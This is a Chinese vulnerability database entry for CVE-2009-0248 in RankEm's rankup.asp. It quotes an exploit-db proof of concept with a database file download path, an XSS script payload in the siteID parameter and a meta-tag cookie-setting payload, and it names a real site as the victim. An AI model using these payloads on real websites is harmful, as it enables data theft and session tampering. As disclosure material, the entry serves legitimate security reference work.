RankEm 'rankup.asp' Cookie操作和跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117255 漏洞类型 跨站脚本
发布时间 2009-01-16 更新时间 2009-01-22
CVE编号 CVE-2009-0248 CNNVD-ID CNNVD-200901-293
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/7805
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-293
|漏洞详情
KatyWhittonRankEm中的rankup.asp存在跨站脚本攻击漏洞。远程攻击者可以借助siteID参数,注入任意的web脚本或HTML。
|漏洞EXP
#########################################################
---------------------------------------------------------
Portal Name: RankEm
Download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS/CM)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/database/topsites.mdb
[XSS]:
http://site.com/rankup.asp?siteID=<script>alert(1369)</script>
[CM]:
http://site.com/rankup.asp?siteID=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
---------------------------------
Victem :
http://www.top50.co.nz

# milw0rm.com [2009-01-16]
|参考资料

来源:XF
名称:rankem-siteid-xss(48072)
链接:http://xforce.iss.net/xforce/xfdb/48072
来源:XF
名称:rankem-rankup-xss(48071)
链接:http://xforce.iss.net/xforce/xfdb/48071
来源:BID
名称:33324
链接:http://www.securityfocus.com/bid/33324
来源:MILW0RM
名称:7805
链接:http://www.milw0rm.com/exploits/7805